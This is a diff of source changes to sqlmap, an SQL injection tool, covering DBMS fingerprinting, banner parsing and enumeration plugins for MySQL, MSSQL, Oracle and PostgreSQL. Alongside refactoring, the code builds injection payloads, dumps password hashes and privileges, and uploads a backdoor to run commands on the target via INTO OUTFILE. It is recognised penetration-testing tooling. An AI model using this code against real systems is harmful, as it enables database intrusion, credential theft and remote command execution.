|
||||
|
||||
if release and version and servicepack:
|
||||
banVer = "Microsoft SQL Server %s " % release
|
||||
@@ -142,11 +156,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
#passiveFuzzing()
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
htmlErrorFp = getHtmlErrorFp()
|
||||
|
||||
if htmlParsed:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
@@ -155,6 +168,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||
|
||||
self.getPrematureBanner("@@VERSION")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
@@ -180,11 +195,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
else:
|
||||
setDbms("Microsoft SQL Server")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue("@@VERSION")
|
||||
self.getPrematureBanner("@@VERSION")
|
||||
|
||||
return True
|
||||
else:
|
||||
@@ -195,7 +206,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
|
||||
def getPrivileges(self):
|
||||
warnMsg = "on MySQL is it not possible to fetch database users privileges"
|
||||
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
||||
warnMsg += "database users privileges"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return {}
|
||||
|
||||
@@ -28,6 +28,7 @@ import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import fileToStr
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getDirectories
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
@@ -45,7 +46,6 @@ from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
#from lib.utils.fuzzer import passiveFuzzing
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -128,7 +128,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
logMsg = "executing MySQL comment injection fingerprint"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = agent.prefixQuery("/* NoValue */")
|
||||
query = agent.prefixQuery(" /* NoValue */")
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
@@ -142,12 +142,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
# MySQL valid versions updated at 10/2008
|
||||
versions = (
|
||||
(32200, 32233), # MySQL 3.22
|
||||
(32300, 32354), # MySQL 3.23
|
||||
(40000, 40024), # MySQL 4.0
|
||||
(40100, 40122), # MySQL 4.1
|
||||
(50000, 50072), # MySQL 5.0
|
||||
(50100, 50129), # MySQL 5.1
|
||||
(60000, 60008), # MySQL 6.0
|
||||
(32300, 32359), # MySQL 3.23
|
||||
(40000, 40031), # MySQL 4.0
|
||||
(40100, 40125), # MySQL 4.1
|
||||
(50000, 50074), # MySQL 5.0
|
||||
(50100, 50131), # MySQL 5.1
|
||||
(60000, 60009), # MySQL 6.0
|
||||
)
|
||||
|
||||
for element in versions:
|
||||
@@ -156,12 +156,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
for version in range(element[0], element[1] + 1):
|
||||
randInt = randomInt()
|
||||
version = str(version)
|
||||
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
||||
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == kb.defaultResult:
|
||||
if not prevVer:
|
||||
prevVer = version
|
||||
|
||||
if version[0] == "3":
|
||||
midVer = prevVer[1:3]
|
||||
else:
|
||||
@@ -177,33 +180,47 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
actVer = formatFingerprint()
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return actVer
|
||||
|
||||
blank = " " * 16
|
||||
value = "active fingerprint: %s" % actVer
|
||||
comVer = self.__commentCheck()
|
||||
|
||||
if comVer:
|
||||
comVer = formatFingerprint([comVer])
|
||||
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if self.banner:
|
||||
banVer = re.search("^([\d\.]+)", self.banner)
|
||||
banVer = banVer.groups()[0]
|
||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
actVer = formatDBMSfp()
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += actVer
|
||||
return value
|
||||
|
||||
comVer = self.__commentCheck()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if comVer:
|
||||
comVer = formatDBMSfp([comVer])
|
||||
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
||||
|
||||
if kb.bannerFp:
|
||||
# TODO: move to the XML banner file
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
|
||||
if re.search("-log$", self.banner):
|
||||
banVer += ", logging enabled"
|
||||
banVer = formatFingerprint([banVer])
|
||||
|
||||
banVer = formatDBMSfp([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
#passiveFuzzing()
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
htmlErrorFp = getHtmlErrorFp()
|
||||
|
||||
if htmlParsed:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
@@ -223,6 +240,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if int(kb.dbmsVersion[0]) >= 5:
|
||||
self.has_information_schema = True
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
@@ -249,6 +268,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
setDbms("MySQL 5")
|
||||
self.has_information_schema = True
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
kb.dbmsVersion = [">= 5.0.0"]
|
||||
return True
|
||||
@@ -282,10 +303,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
||||
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
||||
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
||||
# NOTE: MySQL 5.0.12 introduced SLEEP() function
|
||||
# References:
|
||||
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
|
||||
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
|
||||
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
|
||||
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
|
||||
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
|
||||
@@ -298,6 +315,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
setDbms("MySQL 4")
|
||||
kb.dbmsVersion = ["< 5.0.0"]
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
@@ -324,9 +343,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
else:
|
||||
kb.dbmsVersion = ["< 3.22.11"]
|
||||
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue("VERSION()")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DMBS is not MySQL"
|
||||
@@ -421,7 +437,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
||||
|
||||
query = agent.prefixQuery(query)
|
||||
query = agent.prefixQuery(" %s" % query)
|
||||
query = agent.postfixQuery(query)
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
@@ -434,7 +450,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page = Request.getPage(url=uploaderUrl, direct=True)
|
||||
page, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
|
||||
if "sqlmap backdoor uploader" not in page:
|
||||
warnMsg = "unable to upload the uploader "
|
||||
@@ -506,7 +522,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
break
|
||||
|
||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
|
||||
page = Request.getPage(url=cmdUrl, direct=True)
|
||||
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||
|
||||
if output:
|
||||
|
||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.data import conf
|
||||
@@ -37,7 +38,6 @@ from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
#from lib.utils.fuzzer import passiveFuzzing
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -116,28 +116,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
if not conf.extensiveFp:
|
||||
return "Oracle"
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
|
||||
actVer = formatFingerprint()
|
||||
|
||||
blank = " " * 16
|
||||
value = "active fingerprint: %s" % actVer
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if self.banner:
|
||||
banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner)
|
||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if banVer:
|
||||
banVer = banVer.groups()[0]
|
||||
banVer = formatFingerprint([banVer])
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += "Oracle"
|
||||
return value
|
||||
|
||||
actVer = formatDBMSfp()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
banVer = formatDBMSfp([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
#passiveFuzzing()
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
htmlErrorFp = getHtmlErrorFp()
|
||||
|
||||
if htmlParsed:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
@@ -146,6 +155,8 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if conf.dbms in ORACLE_ALIASES:
|
||||
setDbms("Oracle")
|
||||
|
||||
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
@@ -159,7 +170,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
logMsg = "confirming Oracle"
|
||||
logger.info(logMsg)
|
||||
|
||||
query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
||||
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
|
||||
version = inject.getValue(query)
|
||||
|
||||
if not version:
|
||||
@@ -170,21 +181,20 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
setDbms("Oracle")
|
||||
|
||||
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
if re.search("^11\.", version):
|
||||
if re.search("^11", version):
|
||||
kb.dbmsVersion = ["11i"]
|
||||
elif re.search("^10\.", version):
|
||||
elif re.search("^10", version):
|
||||
kb.dbmsVersion = ["10g"]
|
||||
elif re.search("^9\.", version):
|
||||
elif re.search("^9", version):
|
||||
kb.dbmsVersion = ["9i"]
|
||||
elif re.search("^8\.", version):
|
||||
elif re.search("^8", version):
|
||||
kb.dbmsVersion = ["8i"]
|
||||
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DMBS is not Oracle"
|
||||
|
||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import randomInt
|
||||
@@ -38,7 +39,6 @@ from lib.core.settings import PGSQL_ALIASES
|
||||
from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
#from lib.utils.fuzzer import passiveFuzzing
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -116,26 +116,37 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
if not conf.extensiveFp:
|
||||
return "PostgreSQL"
|
||||
value = ""
|
||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||
|
||||
actVer = formatFingerprint()
|
||||
|
||||
blank = " " * 16
|
||||
value = "active fingerprint: %s" % actVer
|
||||
if wsOsFp:
|
||||
value += "%s\n" % wsOsFp
|
||||
|
||||
if self.banner:
|
||||
banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner)
|
||||
banVer = banVer.groups()[0]
|
||||
banVer = formatFingerprint([banVer])
|
||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||
|
||||
if dbmsOsFp:
|
||||
value += "%s\n" % dbmsOsFp
|
||||
|
||||
value += "back-end DBMS: "
|
||||
|
||||
if not conf.extensiveFp:
|
||||
value += "PostgreSQL"
|
||||
return value
|
||||
|
||||
actVer = formatDBMSfp()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
if kb.bannerFp:
|
||||
banVer = kb.bannerFp["dbmsVersion"]
|
||||
banVer = formatDBMSfp([banVer])
|
||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||
|
||||
#passiveFuzzing()
|
||||
htmlParsed = getHtmlErrorFp()
|
||||
htmlErrorFp = getHtmlErrorFp()
|
||||
|
||||
if htmlParsed:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
||||
if htmlErrorFp:
|
||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||
|
||||
return value
|
||||
|
||||
@@ -148,6 +159,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
if conf.dbms in PGSQL_ALIASES:
|
||||
setDbms("PostgreSQL")
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
@@ -171,6 +184,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
|
||||
setDbms("PostgreSQL")
|
||||
|
||||
self.getPrematureBanner("VERSION()")
|
||||
|
||||
if not conf.extensiveFp:
|
||||
return True
|
||||
|
||||
@@ -206,9 +221,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
||||
else:
|
||||
kb.dbmsVersion = ["< 6.2.0"]
|
||||
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue("VERSION()")
|
||||
|
||||
return True
|
||||
else:
|
||||
warnMsg = "the back-end DMBS is not PostgreSQL"
|
||||
|
||||
@@ -41,6 +41,7 @@ from lib.core.exception import sqlmapUndefinedMethod
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.banner import bannerParser
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
@@ -72,9 +73,16 @@ class Enumeration:
|
||||
pass
|
||||
|
||||
|
||||
def getPrematureBanner(self, query):
|
||||
if conf.getBanner:
|
||||
self.banner = inject.getValue(query)
|
||||
|
||||
bannerParser(self.banner)
|
||||
|
||||
|
||||
def getBanner(self):
|
||||
logMsg = "fetching banner"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching banner"
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[kb.dbms].banner
|
||||
|
||||
@@ -85,8 +93,8 @@ class Enumeration:
|
||||
|
||||
|
||||
def getCurrentUser(self):
|
||||
logMsg = "fetching current user"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching current user"
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[kb.dbms].currentUser
|
||||
|
||||
@@ -97,8 +105,8 @@ class Enumeration:
|
||||
|
||||
|
||||
def getCurrentDb(self):
|
||||
logMsg = "fetching current database"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching current database"
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[kb.dbms].currentDb
|
||||
|
||||
@@ -108,9 +116,20 @@ class Enumeration:
|
||||
return self.currentDb
|
||||
|
||||
|
||||
def isDba(self):
|
||||
infoMsg = "testing if current user is DBA"
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = queries[kb.dbms].isDba
|
||||
|
||||
self.isDba = inject.getValue(query)
|
||||
|
||||
return str(self.isDba == "1")
|
||||
|
||||
|
||||
def getUsers(self):
|
||||
logMsg = "fetching database users"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching database users"
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[kb.dbms].users
|
||||
|
||||
@@ -128,8 +147,8 @@ class Enumeration:
|
||||
self.cachedUsers = value
|
||||
|
||||
if not self.cachedUsers:
|
||||
logMsg = "fetching number of database users"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching number of database users"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if condition:
|
||||
query = rootQuery["blind"]["count2"]
|
||||
@@ -161,11 +180,16 @@ class Enumeration:
|
||||
|
||||
|
||||
def getPasswordHashes(self):
|
||||
logMsg = "fetching database users password hashes"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching database users password hashes"
|
||||
|
||||
rootQuery = queries[kb.dbms].passwords
|
||||
|
||||
if conf.user == "CU":
|
||||
infoMsg += " for current user"
|
||||
conf.user = self.getCurrentUser()
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
query = rootQuery["inband"]["query2"]
|
||||
@@ -220,9 +244,9 @@ class Enumeration:
|
||||
if user in retrievedUsers:
|
||||
continue
|
||||
|
||||
logMsg = "fetching number of password hashes "
|
||||
logMsg += "for user '%s'" % user
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching number of password hashes "
|
||||
infoMsg += "for user '%s'" % user
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
query = rootQuery["blind"]["count2"] % user
|
||||
@@ -236,8 +260,8 @@ class Enumeration:
|
||||
logger.warn(warnMsg)
|
||||
continue
|
||||
|
||||
logMsg = "fetching password hashes for user '%s'" % user
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching password hashes for user '%s'" % user
|
||||
logger.info(infoMsg)
|
||||
|
||||
passwords = []
|
||||
indexRange = getRange(count)
|
||||
@@ -292,11 +316,16 @@ class Enumeration:
|
||||
|
||||
|
||||
def getPrivileges(self):
|
||||
logMsg = "fetching database users privileges"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching database users privileges"
|
||||
|
||||
rootQuery = queries[kb.dbms].privileges
|
||||
|
||||
if conf.user == "CU":
|
||||
infoMsg += " for current user"
|
||||
conf.user = self.getCurrentUser()
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Set containing the list of DBMS administrators
|
||||
areAdmins = set()
|
||||
|
||||
@@ -443,9 +472,9 @@ class Enumeration:
|
||||
if user in retrievedUsers:
|
||||
continue
|
||||
|
||||
logMsg = "fetching number of privileges "
|
||||
logMsg += "for user '%s'" % user
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching number of privileges "
|
||||
infoMsg += "for user '%s'" % user
|
||||
logger.info(infoMsg)
|
||||
|
||||
if unescapedUser:
|
||||
queryUser = unescapedUser
|
||||
@@ -466,8 +495,8 @@ class Enumeration:
|
||||
logger.warn(warnMsg)
|
||||
continue
|
||||
|
||||
logMsg = "fetching privileges for user '%s'" % user
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching privileges for user '%s'" % user
|
||||
logger.info(infoMsg)
|
||||
|
||||
privileges = set()
|
||||
indexRange = getRange(count)
|
||||
@@ -549,8 +578,8 @@ class Enumeration:
|
||||
warnMsg += "names will be fetched from 'mysql' database"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
logMsg = "fetching database names"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching database names"
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[kb.dbms].dbs
|
||||
|
||||
@@ -565,8 +594,8 @@ class Enumeration:
|
||||
self.cachedDbs = value
|
||||
|
||||
if not self.cachedDbs:
|
||||
logMsg = "fetching number of databases"
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching number of databases"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "MySQL" and not self.has_information_schema:
|
||||
query = rootQuery["blind"]["count2"]
|
||||
@@ -605,10 +634,10 @@ class Enumeration:
|
||||
|
||||
self.forceDbmsEnum()
|
||||
|
||||
logMsg = "fetching tables"
|
||||
infoMsg = "fetching tables"
|
||||
if conf.db:
|
||||
logMsg += " for database '%s'" % conf.db
|
||||
logger.info(logMsg)
|
||||
infoMsg += " for database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[kb.dbms].tables
|
||||
|
||||
@@ -626,8 +655,8 @@ class Enumeration:
|
||||
elif conf.excludeSysDbs:
|
||||
query += " WHERE "
|
||||
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
|
||||
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
||||
logger.info(logMsg)
|
||||
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
|
||||
logger.info(infoMsg)
|
||||
|
||||
value = inject.getValue(query, blind=False)
|
||||
|
||||
@@ -652,14 +681,14 @@ class Enumeration:
|
||||
|
||||
for db in dbs:
|
||||
if conf.excludeSysDbs and db in self.excludeDbsList:
|
||||
logMsg = "skipping system database '%s'" % db
|
||||
logger.info(logMsg)
|
||||
infoMsg = "skipping system database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
|
||||
continue
|
||||
|
||||
logMsg = "fetching number of tables for "
|
||||
logMsg += "database '%s'" % db
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching number of tables for "
|
||||
infoMsg += "database '%s'" % db
|
||||
logger.info(infoMsg)
|
||||
|
||||
query = rootQuery["blind"]["count"] % db
|
||||
count = inject.getValue(query, inband=False, expected="int")
|
||||
@@ -708,20 +737,20 @@ class Enumeration:
|
||||
self.forceDbmsEnum()
|
||||
|
||||
if not conf.db:
|
||||
errMsg = "missing database parameter"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
warnMsg = "missing database parameter, sqlmap is going to "
|
||||
warnMsg += "use the current database to enumerate table "
|
||||
warnMsg += "'%s' columns" % conf.tbl
|
||||
logger.warn(warnMsg)
|
||||
|
||||
logMsg = "fetching columns "
|
||||
logMsg += "for table '%s' " % conf.tbl
|
||||
logMsg += "on database '%s'" % conf.db
|
||||
logger.info(logMsg)
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
infoMsg = "fetching columns "
|
||||
infoMsg += "for table '%s' " % conf.tbl
|
||||
infoMsg += "on database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
rootQuery = queries[kb.dbms].columns
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
conf.db = conf.db.upper()
|
||||
conf.tbl = conf.tbl.upper()
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
|
||||
@@ -744,10 +773,10 @@ class Enumeration:
|
||||
self.cachedColumns[conf.db] = table
|
||||
|
||||
if not self.cachedColumns:
|
||||
logMsg = "fetching number of columns "
|
||||
logMsg += "for table '%s'" % conf.tbl
|
||||
logMsg += " on database '%s'" % conf.db
|
||||
logger.info(logMsg)
|
||||
infoMsg = "fetching number of columns "
|
||||
infoMsg += "for table '%s'" % conf.tbl
|
||||
infoMsg += " on database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
|
||||
@@ -764,9 +793,14 @@ class Enumeration:
|
||||
errMsg += "on database '%s'" % conf.db
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
plusOne = True
|
||||
else:
|
||||
plusOne = False
|
||||
|
||||
table = {}
|
||||
columns = {}
|
||||
indexRange = getRange(count)
|
||||
indexRange = getRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
@@ -818,12 +852,17 @@ class Enumeration:
|
||||
self.forceDbmsEnum()
|
||||
|
||||
if not conf.db:
|
||||
errMsg = "missing database parameter"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
warnMsg = "missing database parameter, sqlmap is going to "
|
||||
warnMsg += "use the current database to dump table "
|
||||
warnMsg += "'%s' entries" % conf.tbl
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.db = self.getCurrentDb()
|
||||
|
||||
rootQuery = queries[kb.dbms].dumpTable
|
||||
|
||||
if conf.col:
|
||||
colList = conf.col.split(",")
|
||||
self.cachedColumns[conf.db] = {}
|
||||
self.cachedColumns[conf.db][conf.tbl] = {}
|
||||
for column in colList:
|
||||
@@ -840,14 +879,12 @@ class Enumeration:
|
||||
colList.sort(key=lambda x: x.lower())
|
||||
colString = ", ".join(column for column in colList)
|
||||
|
||||
logMsg = "fetching"
|
||||
infoMsg = "fetching"
|
||||
if conf.col:
|
||||
colList = conf.col.split(",")
|
||||
colString = ", ".join(column for column in colList)
|
||||
logMsg += " columns '%s'" % colString
|
||||
logMsg += " entries for table '%s'" % conf.tbl
|
||||
logMsg += " on database '%s'" % conf.db
|
||||
logger.info(logMsg)
|
||||
infoMsg += " columns '%s'" % colString
|
||||
infoMsg += " entries for table '%s'" % conf.tbl
|
||||
infoMsg += " on database '%s'" % conf.db
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.unionUse:
|
||||
if kb.dbms == "Oracle":
|
||||
@@ -883,23 +920,12 @@ class Enumeration:
|
||||
index += 1
|
||||
|
||||
if not self.dumpedTable:
|
||||
if conf.unionUse:
|
||||
warnMsg = "unable to retrieve the "
|
